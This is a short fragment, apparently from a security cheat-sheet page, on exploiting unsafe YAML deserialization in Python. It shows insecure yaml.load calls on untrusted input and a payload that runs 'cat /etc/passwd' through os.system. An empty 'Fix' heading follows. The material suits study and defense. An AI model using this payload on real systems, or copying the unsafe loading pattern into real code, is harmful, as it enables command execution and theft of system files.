YAML
Exploitation
Python 2
import yaml
# Input can be whater text or a file with this content
yaml.load(input)Python 3
import yaml
# Input can be whater text or a file with this content
yaml.load(input, Loader=yaml.UnsafeLoader)!!python/object/apply:os.system ["cat /etc/passwd"]Fix
Last updated